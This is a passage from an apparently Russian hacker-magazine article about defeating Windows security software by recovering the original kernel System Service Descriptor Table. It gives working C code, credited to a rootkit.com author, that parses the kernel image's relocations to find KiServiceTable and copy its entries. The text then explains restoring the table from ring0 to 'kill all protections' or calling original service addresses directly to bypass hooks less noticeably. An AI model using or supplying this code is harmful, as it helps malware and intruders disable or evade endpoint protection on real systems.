Смерть защитам Николай «gorl» Андреев Хакер, номер #081, стр. 081-124-4 if (!(dwKSDT = (DWORD)GetProcAddress(hKernel,"KeServiceDescriptorTable"))) return FALSE; dwKSDT -= (DWORD)hKernel; if (!(dwKiServiceTable = FindKiServiceTable(hKernel,dwKSDT))) return FALSE; FindKiServiceTable – это офигенная функция, написанная кодером 90210, и запощенная на www.rootkit.com в его статье об антихукинге на уровне ядра. Эта функция возвращает смещение SDT относительно начала модуля ядра. Она ищет в ядре инструкцию формата mov [mem32],imm32. Если быть точным, инструкцию mov ds:_KeServiceDescriptorTable.Base, offset _KiServiceTable из функции KiInitSystem. Поиск ориентируется на смещение KeServiceDescriptorTable, полученное в результате проведенных выше манипуляций. [функция FindKiServiceTable] DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT) { PIMAGE_FILE_HEADER pfh; PIMAGE_OPTIONAL_HEADER poh; PIMAGE_SECTION_HEADER psh; PIMAGE_BASE_RELOCATION pbr; PIMAGE_FIXUP_ENTRY pfe; DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable; BOOL bFirstChunk; GetHeaders((PCHAR)hModule,&pfh,&poh,&psh); if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) && (!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) { pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule); bFirstChunk=TRUE; while (bFirstChunk || pbr->VirtualAddress) { bFirstChunk=FALSE; pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION)); for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) { if (pfe->type==IMAGE_REL_BASED_HIGHLOW) { dwFixups++; dwPointerRva=pbr->VirtualAddress+pfe->offset; dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase; if (dwPointsToRva==dwKSDT) { if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7) { dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase; return dwKiServiceTable; } } } } *(PDWORD)&pbr+=pbr->SizeOfBlock; } } return 0; } Получив смещение SDT, мы прибавляем его к базе нашей копии ядра – это и будет адрес оригинальной таблицы. На всякий случай копируем все содержимое SDT в собственный массив DWORD и радуемся – основное дело сделано, оригинал получен. GetHeaders((PCHAR)hKernel,&pfh,&poh,&psh); pService = (PDWORD)((DWORD)hKernel + dwKiServiceTable); for (pService=(PDWORD)((DWORD)hKernel+dwKiServiceTable); *pService-poh->ImageBase<poh->SizeOfImage; pService++,dwServices++) TABLE[dwServices] = *pService - poh->ImageBase+dwKernelBase; NEWTABLE = (DWORD)(dwKernelBase + dwKSDT); Теперь, перейдя в kernel mode можно либо восстановить SDT, просто заменяя все адреса в текущей таблице на адреса, полученные только что, чтобы убить все защиты, либо использовать эти самые адреса напрямую, чтобы обойти перехват. В плане обхода NtWriteVirtualmemory восстановить проще, использовать адреса напрямую менее палевно. Напрямую - значит запускать функцию по полученному адресу прямиком из ring0. |